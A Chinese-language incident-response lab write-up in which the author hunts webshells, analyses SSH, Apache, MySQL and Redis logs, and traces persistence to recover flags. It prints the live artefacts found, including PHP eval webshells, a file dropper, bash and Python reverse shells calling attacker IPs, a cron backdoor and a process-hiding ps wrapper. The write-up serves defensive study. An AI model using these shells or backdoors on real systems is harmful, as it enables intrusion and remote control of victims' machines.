说到前面
原来打的零零星星的,想着放假抽一天来再打一遍,有些流程可能没那么详细,还请谅解
本篇仅是本人对应急响应的学习记录,具体做题步骤可能有跳,可能没有很具体的答疑和写出知识点
第一章 应急响应-webshell查杀
简介
靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
Q1&Q2
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
进去一顿找其实也能找到
可以在findshell中直接下载,也可以使用命令
tar -czvf html.tar.gz ./
可以直接放D盾里直接扫
也可以手动查找
/var/www/html/include/gz.php
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
使用什么shell工具
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
是哥斯拉
https://github.com/BeichenDream/Godzilla
md5一下
flag{39392de3218c333f794befef07ac9257}
Q3&Q4
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx 4.黑客免杀马完整路径 md5 flag{md5}
隐藏shell的完整路径
/var/www/html/include/Db/.Mysqli.php
使用ls -a查看隐藏文件
在 Linux / macOS / Unix 中:
以“.”开头的文件会被默认视为隐藏文件(也叫“点文件”)。
例如:.bashrc、.gitignore、.env
查看隐藏文件的命令:
ls -a:列出当前目录下的所有文件(包括隐藏的)。
创建隐藏文件:
touch .myhiddenfile
md5一下
flag{aebac0e58cd6c5fad1695ee4d1ac1919}
免杀马
简单来说:免杀马是指经过处理,能在一段特殊时间内绕过大部分杀毒软件检测的木马程序
丢杀毒软件看一下,有一个没有扫出来
/var/www/html/wap/top.php
md5一下之后就是
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
第一章 应急响应-Linux日志分析
Linux下常见的日志目录:
/var/log/syslog:记录系统的通用日志信息,适用于大多数Linux发行版/var/log/messages:记录系统的通用日志信息,通常在Red Hat系的发行版中使用/var/log/auth.log:记录身份验证相关的日志信息,如登录尝试、sudo命令使用等/var/log/kern.log:记录内核相关的日志信息/var/log/dmesg:记录系统启动时的内核消息/var/log/boot.log:记录系统启动过程中的消息/var/log/cron.log:记录定时任务相关的日志信息/var/log/mail.log:记录邮件系统相关的日志信息/var/log/apache2/access.log和/var/log/apache2/error.log:记录Apache服务器的访问日志和错误日志/var/log/nginx/access.log和/var/log/nginx/error.log:记录Nginx服务器的访问日志和错误日志
其中常用的就是auth.log
auth.log中记录的典型事件包括:
| 事件类型 | 示例 |
|---|---|
| 用户登录/退出 | SSH 登录、控制台登录等 |
sudo 命令使用 | 谁使用了 sudo、是否成功 |
| SSH 登录尝试 | 成功/失败,来源 IP |
| PAM 身份验证 | Pluggable Authentication Module |
| 系统服务认证 | 如 cron、polkit、GDM、LightDM |
| 密码错误或账户锁定 |
简介
账号root密码linuxrz
ssh root@IP
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
3.爆破用户名字典是什么?如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少
Q1&Q2
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用”,”分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用”,”分割
cat auth.log.1|grep -a "Failed password for root"
root@ip-10-0-10-1:/var/log# cat auth.log.1|grep -a "Failed password for root"
Aug 1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
Aug 1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
Aug 1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
Aug 1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
Aug 1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
Aug 1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2
root@ip-10-0-10-1:/var/log# cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
4 192.168.200.2
1 192.168.200.32
1 192.168.200.31
看到三个ip就是
flag{192.168.200.2,192.168.200.31,192.168.200.32}
找成功登陆的ip
root@ip-10-0-10-1:/var/log# cat auth.log.1|grep -a "Accepted "
Aug 1 07:47:23 linux-rz sshd[7505]: Accepted password for root from 192.168.200.2 port 46563 ssh2
Aug 1 07:50:37 linux-rz sshd[7539]: Accepted password for root from 192.168.200.2 port 48070 ssh2
flag{192.168.200.2}
Q3&Q4
3.爆破用户名字典是什么?如果有多个使用”,”分割
4.登陆成功的IP共爆破了多少次
使用字典
root@ip-10-0-10-1:/var/log# cat auth.log.1|grep -a "Failed password"| grep -o 'for .* from'|uniq -c|sort -nr
5 for invalid user user from
5 for invalid user hello from
5 for invalid user from
4 for root from
1 for root from
1 for root from
1 for invalid user test3 from
1 for invalid user test2 from
1 for invalid user test1 from
flag{user,hello,root,test3,test2,test1}
爆破了多少次
cat auth.log.1|grep -a "192.168.200.2"|grep "for root"
flag{4}
Q5
5.黑客登陆主机后新建了一个后门用户,用户名是多少
可以直接查看/etc/passwd
用户账号信息文件之一,它记录了系统中每个用户的基本信息
格式说明:
用户名:密码占位符:用户ID:组ID:备注信息:主目录:默认Shell
| 字段序号 | 含义 |
|---|---|
| 1. 用户名 | 系统登录名(如 root、john) |
| 2. 密码占位符 | 通常是 x,表示密码存储在 /etc/shadow |
| 3. 用户 ID(UID) | 0 表示 root 用户,其他普通用户通常从 1000+ 开始 |
| 4. 组 ID(GID) | 对应的主组 ID |
| 5. 用户信息 | 一些备注(如真实姓名,可为空) |
| 6. 主目录 | 用户登录后的家目录路径 |
| 7. 默认 shell | 登录后使用的 Shell,如 /bin/bash、/usr/sbin/nologin |
也可以
cat auth.log.1|grep -a "new user"
flag{test2}
第一章 应急响应- Linux入侵排查
简介
账号:root 密码:linuxruqin
ssh root@IP
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
Q1&Q2&Q3
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
1.php当中
<?php eval($_POST[1]);?>
密码是1,对应
flag{1}
不死马
index.php中有
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
但是没有不死马的循环特征,一会跟进
密码是有的了,解密一下md5
flag{hello}
找到生成不死马的文件
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
flag{index.php}
Q4&Q5
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
丢进微步沙箱

flag{10.11.55.21}
对应端口看沙箱的流量包

flag{3333}
或者是把文件下载下来之后,利用chmod命令修改成运行权限
chmod +x shell.elf
./shell.elf
查看网络连接
netstat -antlp
注:记得练习Linux命令
第二章 日志分析-apache日志分析
简介
账号密码 root apacherizhi
ssh root@IP
1、提交当天访问次数最多的IP,即黑客IP:
2、黑客使用的浏览器指纹是什么,提交指纹的md5:
3、查看包含index.php页面被访问的次数,提交次数:
4、查看黑客IP访问了多少次,提交次数:
5、查看2023年8月03日8时这一个小时内有多少IP访问,提交次数:
apache日志分析
Q1
1、提交当天访问次数最多的IP,即黑客IP
查看访问次数最多的ip
查看日志文件,/var/log/apache2下
通过命令,apache日志中通常每行第一个字段就是ip地址,所以使用awk直接从第一个字段进行提取
cat access.log.1 | awk '{print $1}' | sort |uniq -c | sort -nr
得到
root@ip-10-0-10-3:/var/log/apache2# cat access.log.1 | awk '{print $1}' | sort |uniq -c | sort -nr
6555 192.168.200.2
29 ::1
5 192.168.200.38
1 192.168.200.48
1 192.168.200.211
1
flag
flag{192.168.200.2}
Q2
2、黑客使用的浏览器指纹是什么,提交指纹的md5
从日志中查询,利用grep锁定ip
root@ip-10-0-10-3:/var/log/apache2# cat access.log.1 | grep 192.168.200.2 | awk -F'"' '{print $6}' access.log.1 | sort |uniq -c | sort -nr
6543 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
29 Apache/2.4.38 (Debian) (internal dummy connection)
12 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
5 curl/7.29.0
1 curl/7.74.0
1 curl/7.68.0
1
指纹
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
md5后
flag{2d6330f380f44ac20f3a02eed0958f66}
Q3
3、查看包含index.php页面被访问的次数,提交次数
一步到位
grep -c "/index.php" access.log.1
flag
flag{27}
Q4
4、查看黑客IP访问了多少次,提交次数
root@ip-10-0-10-3:/var/log/apache2# cat access.log.1 | awk '{print $1}' | sort |uniq -c | sort -nr
6555 192.168.200.2
29 ::1
5 192.168.200.38
1 192.168.200.48
1 192.168.200.211
1
flag
flag{6555}
Q5
5、查看2023年8月03日8时这一个小时内有多少IP访问,提交次数
root@ip-10-0-10-3:/var/log/apache2# grep "03/Aug/2023:08:" access.log.1 | awk '{print $1}' | sort | uniq -c | sort -nr
6555 192.168.200.2
29 ::1
5 192.168.200.38
1 192.168.200.48
1 192.168.200.211
看到有五个ip访问
flag{5}
第二章日志分析-mysql应急响应
简介
mysql应急响应 ssh账号 root 密码 xjmysql
ssh env.xj.edisec.net -p xxxxx
1.黑客第一次写入的shell flag{关键字符串}
2.黑客反弹shell的ip flag{ip}
3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
4.黑客获取的权限 flag{whoami后的值}
Q1
黑客第一次写入的shell flag{关键字符串}
root@xuanji:~# cd /var/www/html
root@xuanji:/var/www/html# ls
Writenote.php adminer.php common.php css images index.php js log.php search.php sh.php tmpubzil.php tmputsrv.php tmpuvdzm.php
root@xuanji:/var/www/html# cat sh.php
1 2 <?php @eval($_POST['a']);?> 4
//ccfda79e-7aa1-4275-bc26-a6189eb9a20b
flag
flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}
Q2
黑客反弹shell的ip flag{ip}
查看日志sh.php访问次数和时间,没啥用
root@xuanji:/var/log# ls
alternatives.log apache2 apt bootstrap.log btmp dmesg dpkg.log faillog fsck lastlog mysql mysql.err mysql.log supervisor ubuntu-advantage.log upstart wtmp
root@xuanji:/var/log# cd mysql
root@xuanji:/var/log/mysql# ls
error.log
root@xuanji:/var/log/mysql# cat error.log
230731 8:26:51 [Note] Plugin 'InnoDB' is disabled.
230731 8:26:51 [Note] Plugin 'FEEDBACK' is disabled.
230731 8:26:51 [Note] Plugin 'InnoDB' is disabled.
···········································
/tmp/1.sh: line 1: --2023-08-01: command not found
/tmp/1.sh: line 2: Connecting: command not found
/tmp/1.sh: line 3: HTTP: command not found
/tmp/1.sh: line 4: Length:: command not found
/tmp/1.sh: line 5: Saving: command not found
/tmp/1.sh: line 7: 0K: command not found
/tmp/1.sh: line 9: syntax error near unexpected token `('
/tmp/1.sh: line 9: `2023-08-01 02:16:35 (5.01 MB/s) - '1.sh' saved [43/43]'
260128 07:11:04 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
260128 7:11:04 [Note] /usr/sbin/mysqld (mysqld 5.5.64-MariaDB-1ubuntu0.14.04.1) starting as process 363 ...
260128 7:11:04 InnoDB: The InnoDB memory heap is disabled
260128 7:11:04 InnoDB: Mutexes and rw_locks use GCC atomic builtins
260128 7:11:04 InnoDB: Compressed tables use zlib 1.2.8
260128 7:11:04 InnoDB: Using Linux native AIO
260128 7:11:04 InnoDB: Initializing buffer pool, size = 128.0M
260128 7:11:04 InnoDB: Completed initialization of buffer pool
260128 7:11:04 InnoDB: highest supported file format is Barracuda.
InnoDB: The log sequence number in ibdata files does not match
InnoDB: the log sequence number in the ib_logfiles!
InnoDB: Restoring possible half-written data pages from the doublewrite buffer...
260128 7:11:04 InnoDB: Waiting for the background threads to start
260128 7:11:05 Percona XtraDB (http://www.percona.com) 5.5.61-MariaDB-38.13 started; log sequence number 3046162
260128 7:11:05 [Note] Plugin 'FEEDBACK' is disabled.
260128 7:11:05 [Note] Server socket created on IP: '127.0.0.1'.
260128 7:11:05 [ERROR] mysqld: Table './mysql/func' is marked as crashed and should be repaired
260128 7:11:05 [Warning] Checking table: './mysql/func'
260128 7:11:05 [ERROR] mysql.func: 1 client is using or hasn't closed the table properly
260128 7:11:05 [Note] Event Scheduler: Loaded 0 events
260128 7:11:05 [Note] /usr/sbin/mysqld: ready for connections.
Version: '5.5.64-MariaDB-1ubuntu0.14.04.1' socket: '/var/run/mysqld/mysqld.sock' port: 3306 (Ubuntu)
root@xuanji:/var/log/mysql# cd /tmp
root@xuanji:/tmp# ls
1.sh apache2-stdout---supervisor-_bJEJ_.log mysql-stdout---supervisor-jqPzCf.log ssh-stdout---supervisor-E1AYpO.log
apache2-stderr---supervisor-2CGCPX.log mysql-stderr---supervisor-lFq38k.log ssh-stderr---supervisor-p4XcNP.log supervisor.sock
root@xuanji:/tmp# cat 1.sh
bash -i >&/dev/tcp/192.168.100.13/777 0>&1root@xuanji:/tmp#
flag
flag{192.168.100.13}
Q3
黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
Mysql的提权方式判断
UDF提权,启动项提权,CVE还有MOF提权
首先查看靶机mysql版本
root@xuanji:~# mysql -V
mysql Ver 15.1 Distrib 5.5.64-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
UDF提权,所以目标放在UDF动态链接库上
UDF 的动态链接库文件放置于 /usr/lib/mysql/plugin/ 或 /usr/lib64/mysql/plugin
root@xuanji:~# cd /usr
root@xuanji:/usr# ls
bin games include lib local sbin share src
root@xuanji:/usr# cd /lib/mysql
-bash: cd: /lib/mysql: No such file or directory
root@xuanji:/usr# ls
bin games include lib local sbin share src
root@xuanji:/usr# cd bin
root@xuanji:/usr/bin# cd ../
root@xuanji:/usr# cd lib
root@xuanji:/usr/lib# cd mysql
root@xuanji:/usr/lib/mysql# cd plugin
root@xuanji:/usr/lib/mysql/plugin# ls
auth_pam.so auth_socket.so dialog.so ha_innodb.so handlersocket.so mysql_clear_password.so mysqludf.so semisync_master.so semisync_slave.so server_audit.so sphinx.so sql_errlog.so udf.so
root@xuanji:/usr/lib/mysql/plugin# ls -al
total 4752
drwxr-xr-x. 1 mysql mysql 39 Aug 1 2023 .
drwxr-xr-x. 1 root root 20 Jul 31 2023 ..
-rw-r--r--. 1 mysql mysql 10416 May 16 2019 auth_pam.so
-rw-r--r--. 1 mysql mysql 6464 May 16 2019 auth_socket.so
-rw-r--r--. 1 mysql mysql 10200 May 16 2019 dialog.so
-rw-r--r--. 1 mysql mysql 1600136 May 16 2019 ha_innodb.so
-rw-r--r--. 1 mysql mysql 159304 May 16 2019 handlersocket.so
-rw-r--r--. 1 mysql mysql 6104 May 16 2019 mysql_clear_password.so
-rw-rw-rw-. 1 mysql mysql 10754 Aug 1 2023 mysqludf.so
-rw-r--r--. 1 mysql mysql 39944 May 16 2019 semisync_master.so
-rw-r--r--. 1 mysql mysql 14736 May 16 2019 semisync_slave.so
-rw-r--r--. 1 mysql mysql 55696 May 16 2019 server_audit.so
-rw-r--r--. 1 mysql mysql 2918008 May 16 2019 sphinx.so
-rw-r--r--. 1 mysql mysql 11008 May 16 2019 sql_errlog.so
-rw-rw-rw-. 1 mysql mysql 34 Aug 1 2023 udf.so
root@xuanji:/usr/lib/mysql/plugin# cat udf.so
1 2 <?php @eval($_POST['a']);?>
所以提权文件完整路径为
/usr/lib/mysql/plugin/udf.so
md5
flag{B1818BDE4E310F3D23F1005185B973E7}
Q4
黑客获取的权限 flag{whoami后的值}
黑客提权通过mysql提权,在comment.php中泄露了数据库连接信息
root@xuanji:/var/www/html# cat common.php
<?php
$conn=mysqli_connect("localhost","root","334cc35b3c704593","cms","3306");
if(!$conn){
echo "数据库连接失败";
}
root@xuanji:/var/www/html# Connection to env.xj.edisec.net closed by remote host.
Connection to env.xj.edisec.net closed.
黑客通过udf上传so文件进行提权的,通过自定义函数,所以我们可以直接通过查询mysql有哪些函数进行锁定
select * from mysql.func;
同样在日志中也可以找到执行了什么命令
root@xuanji:~# mysql -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 1
Server version: 5.5.64-MariaDB-1ubuntu0.14.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| cms |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)
MariaDB [(none)]> select * mysql.fun
-> ;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'mysql.fun' at line 1
MariaDB [(none)]> ;
ERROR: No query specified
MariaDB [(none)]>
MariaDB [(none)]>
MariaDB [(none)]> select * from mysql.func;
+----------+-----+-------------+----------+
| name | ret | dl | type |
+----------+-----+-------------+----------+
| sys_eval | 0 | mysqludf.so | function |
+----------+-----+-------------+----------+
1 row in set (0.00 sec)
MariaDB [(none)]> select sys_eval();
ERROR 1123 (HY000): Can't initialize function 'sys_eval'; Expected exactly one string type parameter
MariaDB [(none)]> select sys_eval("whoami");
+--------------------+
| sys_eval("whoami") |
+--------------------+
| mysql
|
+--------------------+
1 row in set (0.01 sec)
flag{mysql}
第二章日志分析-redis应急响应
服务器场景操作系统 Linux
服务器账号密码 root xjredis
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
Q1&Q3
通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交
通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交
redis.log:记录了 Redis 服务器的运行状态、事件和操作
cat /var/log/redis.log
提取一下IP
cat /var/log/redis.log | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq -c | sort -nr
主从复制攻击
对于redis主从复制攻击, 攻击者需要将攻击机设为主机, 被攻击的redis设为从机 利用redis主从复制的功能通过 FULLRESYNC 将主机上的文件同步复制至从机上 然后再利用redis4.x/5.x的指令可以通过外部加载的特性, 加载恶意so文件从而实现利用redis完成提权从而执行系统命令
# 从日志中提取的IP
192.168.200.2 # 攻击者控制Redis的客户端IP
192.168.100.13 # 攻击者尝试设置的恶意主服务器(端口8888)
192.168.31.55 # 攻击者尝试设置的另一个恶意主服务器
192.168.100.20 # 攻击成功的恶意主服务器
主服务器的切换
日志显示了几次主服务器地址的更改,从 192.168.100.13:8888 切换到 192.168.31.55:8888,然后再次切换到 192.168.100.20:8888
关键加载模块Module 'system' loaded from ./exp.so
192.168.100.13尝试进行攻击失败,192.168.100.20判定为成功(可疑)
flag{192.168.100.20}
通过查看系统日志/var/log/syslog.,此日志会包含系统服务日志:系统启动/关闭、服务状态变化、硬件检测;认证和安全日志:SSH登录尝试(成功/失败)、用户认证、sudo命令执行、su切换用户;进程和内核日志:进程异常终止、内核消息、系统错误;定时任务日志:cron任务执行、at任务执行;应用程序日志:各种服务的日志(如果配置了syslog)
在日志中发现
root@ip-10-0-10-1:~# cat /var/log/syslog.1
Aug 1 00:00:12 redis-yingji rsyslogd: [origin software="rsyslogd" swVersion="8.1901.0" x-pid="423" x-info="https://www.rsyslog.com"] rsyslogd was HUPed
Aug 1 00:00:12 redis-yingji systemd[1]: logrotate.service: Succeeded.
Aug 1 00:00:12 redis-yingji systemd[1]: Started Rotate log files.
Aug 1 00:01:01 redis-yingji CRON[2944]: (root) CMD (/bin/sh -i >& /dev/tcp/192.168.100.20/7777 0>&1)
Aug 1 00:01:01 redis-yingji CRON[2943]: (CRON) info (No MTA installed, discarding output)
Aug 1 00:02:01 redis-yingji CRON[2946]: (root) CMD (/bin/sh -i >& /dev/tcp/192.168.100.20/7777 0>&1)
Aug 1 00:02:01 redis-yingji CRON[2945]: (CRON) info (No MTA installed, discarding output)
Aug 1 00:03:01 redis-yingji CRON[2948]: (root) CMD (/bin/sh -i >& /dev/tcp/192.168.100.20/7777 0>&1)
Aug 1 00:03:01 redis-yingji CRON[2947]: (CRON) info (No MTA installed, discarding output)
························
计划任务,反弹的ip为192.158.100.20
然后查看计划任务
root@ip-10-0-10-1:~# crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
*/1 * * * * /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1
# m h dom mon dow command
哎,怎么对不上,可以看到反弹shell的ip为
flag{192.158.100.20,192.168.100.13}
但是提交
flag{192.168.100.13}才行
Q2
通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交
我们前面看到了黑客加载了exp.so文件
find / -name "exp.so"
查看即送flag
flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
Q4
通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交
对应的是redis写公钥,所以在.ssh目录会存放keys
root@ip-10-0-10-1:~# cd .ssh
root@ip-10-0-10-1:~/.ssh# ls
authorized_keys
root@ip-10-0-10-1:~/.ssh# cat authorized_keys
REDIS0009� redis-ver5.0.1�
�edis-bits�@�ctime�tO�dused-mem�XU
aof-preamble���xxsshB9
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDh4OEFvyb4ubM7YPvzG/FfO6jE4PjLdmuCUdGP+aeLeJB5SXYT6zHkU9wlfY/Fo4UuBlhTqBaS6Ih/Wf62KepzrMsTQQYcSG/Xp8lgFzVCCFAk7apzxfRCPNk1pxaGiEF6MPoCmUu1UhC3ta3xyh2c4KZls0hyFN9JZsuD+siT8KVqm856vQ+RaTrZi3ThMa5gbeH+v3ZUcO35ZfMKor/uWXffHT0Yi06dsgIMN3faIiBrd1Lg0B5kOTaDq3fHs8Qs7pvR9C4ZTm2AK/Oct8ULdsnfS2YWtrYyC8rzNip9Wf083ZY1B4bj1UoxD+QwgThh5VP3xgRd9KDSzEYIBabstGh8GU5zDxr0zIuhQM35I0aALvojXl4QaaEnZwpqU3ZkojPG2aNC0QdiBK7eKwA38Gk+V8DEWc/TTkO+wm3aXYdll5sPmoWTAonaln1nmCiTDn4jKb73DxYHfSgNIDpJ6fS5kbWL5UJnElWCrxzaXKHUlqXJj3x81Oz6baFNv8= xj-test-user
谷歌一下xj-test-user

flag{xj-test-user-wow-you-find-flag}
Q5
通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交
一键查看系统命令完整性
ls -la /bin/bash /bin/sh /usr/bin/whoami /usr/bin/id /usr/bin/ps /usr/bin/netstat /usr/bin/ss
# ls -la /bin/bash /bin/sh /usr/bin/whoami /usr/bin/id /usr/bin/ps /usr/bin/netstat /usr/bin/ss
-rwxr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
lrwxrwxrwx 1 root root 4 Nov 18 2022 /bin/sh -> dash
-rwxr-xr-x 1 root root 43808 Feb 28 2019 /usr/bin/id
-rwxr-xr-x 1 root root 155096 Sep 24 2018 /usr/bin/netstat
-rwxrwxrwx 1 root root 178 Jul 31 2023 /usr/bin/ps
-rwxr-xr-x 1 root root 161488 Dec 3 2020 /usr/bin/ss
-rwxr-xr-x 1 root root 35456 Feb 28 2019 /usr/bin/whoami
可以看到ps的权限异常,ps的权限不应该是-rwxrwxrwx, 而应该是-rwxr-xr-x
root@ip-10-0-10-1:~/.ssh# cd
root@ip-10-0-10-1:~# cat /usr/bin/ps
#/bin/bash
oldifs="$IFS"
IFS='\$n'
result=$(ps_ $1 $2 $3|grep -v 'threadd' )
for v in $result;
do
echo -e "$v\t";
done
IFS="$oldifs"
#//c195i2923381905517d818e313792d196
flag{c195i2923381905517d818e313792d196}
第三章 权限维持-linux权限维持-隐藏
简介
1.黑客隐藏的隐藏的文件 完整路径md5
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
3.黑客提权所用的命令 完整路径的md5 flag{md5}
4.黑客尝试注入恶意代码的工具完整路径md5
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}
Q1&Q2
黑客隐藏的隐藏的文件 完整路径md5
隐藏文件想到libprocesshider ,它是一个进程隐藏工具,常用于黑客攻击中隐藏恶意进程
通常在/tmp下
root@xuanji:~# cd /tmp
root@xuanji:/tmp# ls
1.sh apache2-stdout---supervisor-TuEqON.log mysql-stdout---supervisor-mjjTXg.log ssh-stdout---supervisor-fotO0f.log
apache2-stderr---supervisor-07IDMt.log mysql-stderr---supervisor-bUYk83.log ssh-stderr---supervisor-0NKf1k.log supervisor.sock
root@xuanji:/tmp# ls -al
total 32
drwxrwxrwt. 1 root root 16384 Jan 28 09:23 .
drwxr-xr-x. 1 root root 85 Jan 28 09:23 ..
drwxr-xr-x. 3 root root 29 Aug 3 2023 .temp
-rw-rw----. 1 mysql mysql 42 Aug 1 2023 1.sh
-rw-------. 1 root root 174 Jan 28 09:23 apache2-stderr---supervisor-07IDMt.log
-rw-------. 1 root root 0 Jan 28 09:23 apache2-stdout---supervisor-TuEqON.log
-rw-------. 1 root root 155 Jan 28 09:23 mysql-stderr---supervisor-bUYk83.log
-rw-------. 1 root root 153 Jan 28 09:23 mysql-stdout---supervisor-mjjTXg.log
-rw-------. 1 root root 0 Jan 28 09:23 ssh-stderr---supervisor-0NKf1k.log
-rw-------. 1 root root 0 Jan 28 09:23 ssh-stdout---supervisor-fotO0f.log
srwx------. 1 root root 0 Jan 28 09:23 supervisor.sock
root@xuanji:/tmp# cd .temp
root@xuanji:/tmp/.temp# ls
libprocesshider
root@xuanji:/tmp/.temp# cd libprocesshider/
root@xuanji:/tmp/.temp/libprocesshider# ls
1.py Makefile README.md processhider.c shell.py
root@xuanji:/tmp/.temp/libprocesshider# cat 1.py
#!/usr/bin/python3
import socket,subprocess,os,sys, time
pidrg = os.fork()
if pidrg > 0:
sys.exit(0)
os.chdir("/")
os.setsid()
os.umask(0)
drgpid = os.fork()
if drgpid > 0:
sys.exit(0)
while 1:
try:
sys.stdout.flush()
sys.stderr.flush()
fdreg = open("/dev/null", "w")
sys.stdout = fdreg
sys.stderr = fdreg
sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sdregs.connect(("114.114.114.121",9999))
os.dup2(sdregs.fileno(),0)
os.dup2(sdregs.fileno(),1)
os.dup2(sdregs.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
sdregs.close()
except Exception:
pass
time.sleep(2)
由此可得
flag{109ccb5768c70638e24fb46ee7957e37}
flag{114.114.114.121:9999}
Q3
黑客提权所用的命令 完整路径的md5 flag{md5}
find / -perm -4000 2>/dev/null
root@xuanji:/tmp/.temp/libprocesshider# find / -perm -u+s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/ping6
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/find
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/sudo
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
发现find,打渗透一看就知道
echo -n "/usr/bin/find" | md5sum
flag{7fd5884f493f4aaf96abee286ee04120}
Q4
黑客尝试注入恶意代码的工具完整路径md5
find / -name '.*'
查看隐藏文件,其中发现/opt/.cymothoa-1-beta
